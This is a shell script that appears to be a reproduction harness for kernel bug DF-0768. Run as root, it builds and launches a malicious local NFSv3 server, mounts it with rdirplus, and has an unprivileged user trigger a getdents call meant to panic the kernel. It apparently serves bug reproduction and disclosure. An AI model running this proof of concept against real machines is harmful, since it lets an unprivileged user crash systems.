#!/bin/sh
# run.sh -- DF-0768 full reproduction harness (run as root on the guest).
#
# Orchestrates the malicious server + mount + unprivileged trigger.
# The destructive bit (the actual bug trigger) is run AS THE UNPRIVILEGED
# USER (maxx); the server/mount are the realistic "admin mounted an NFS share
# (with rdirplus)" pre-condition.  The guest is expected to panic during the
# maxx getdents.
#
#   ./run.sh [unprivileged_user]
set -u
USER="${1:-maxx}"
HERE="$(dirname "$0")"

echo "=== DF-0768 reproduction harness ==="
echo "[*] building malicious NFS server (as $USER)..."
su -l "$USER" -c "cd \"$HERE\" && sh build.sh" || { echo "BUILD FAILED"; exit 2; }

echo "[*] starting malicious NFSv3 server on 127.0.0.1 (background)..."
pkill -f nfs_mal_server 2>/dev/null || true
"$HERE/nfs_mal_server" >/tmp/df0768_server.log 2>&1 &
SRV=$!
sleep 1
if ! kill -0 "$SRV" 2>/dev/null; then
    echo "SERVER FAILED TO START:"; cat /tmp/df0768_server.log
    exit 3
fi
echo "[*] server pid=$SRV"

echo "[*] mounting malicious server at /mnt with rdirplus (admin pre-condition)..."
umount /mnt 2>/dev/null || true
mount_nfs -3 -T -o tcp,nfsv3,rdirplus 127.0.0.1:/export /mnt && echo "[*] mount ok" || {
    echo "MOUNT FAILED:"; cat /tmp/df0768_server.log; kill "$SRV"; exit 4
}

echo "[*] firing unprivileged trigger as $USER (getdents on /mnt)..."
echo "    >>> if the bug is present, the kernel panics here <<<"
su -l "$USER" -c "sh \"$HERE/trigger.sh\" /mnt" ; rc=$?
echo "[*] trigger su returned rc=$rc"

echo "[!] if we reach here with the guest still up, the bug did NOT fire."
kill "$SRV" 2>/dev/null || true
umount /mnt 2>/dev/null || true
exit 0